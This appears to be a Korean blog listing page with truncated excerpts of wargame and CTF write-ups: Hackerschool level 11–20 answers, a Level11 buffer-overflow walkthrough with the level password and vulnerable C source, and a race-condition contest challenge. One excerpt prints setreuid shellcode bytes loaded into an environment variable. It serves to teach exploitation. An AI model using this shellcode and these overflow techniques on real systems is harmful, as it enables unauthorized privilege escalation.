반응형

exploit 3

해커스쿨 11~20 정답, 공격코드

/* * http://sosal.tistory.com/ * made by so_Sal */ ////////// hkpco. universal setreuid() shellcode. 문서에서 발췌해온 쉘코드입니다. ////////////// 자주쓰는 쉘코드입니다. http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt (shell에서 환경변수 추가) export hk=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31..

Linux/Linux_technic 2010.01.31

Hackerschool Level11 Exploit

/* * http://sosal.tistory.com/ * made by so_Sal */ 오랜만에 다시 해커스쿨 잡아봤습니다.. ㅠㅠ ID :: Level11 PW :: what!@#$? 이 포스트에서는 문제의 풀이에대한 요점만 다룹니다. 따라서 BOF의 이해는 아래 링크루 ^-^ LINK_ #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } 256 크기의 배열이 선언되어있고, 이 스택을 overflow 시켜서 ret값을 바꾸면 되겠네요. 배열을 선언할때마다 dummy 메모리 (잉여공간)이 생성됩니다. 따라서 메모리..

Linux/Linux_technic 2010.01.10

Race condition 해킹 기법 문제

/* * http://sosal.tistory.com/ * made by so_Sal */ 2009 11월 16~17일 24시간동안 진행된 시립대학교 idea bank 해킹대회 chal0 문제입니다. 아래는 문제 소스입니다. (바로 공개되었습니다.) /home/chal1/keyfile 을 읽어라! 가 문제의 목적입니다. //----------- 문제 소스 chal0 -------------// #include #include #include int main(int argc, char * argv[]) { int loop; char buffer[512]; memset(buffer, 0, sizeof(buffer)); if (argc != 2) return 0; if (strlen(argv[1]) >= 30..

반응형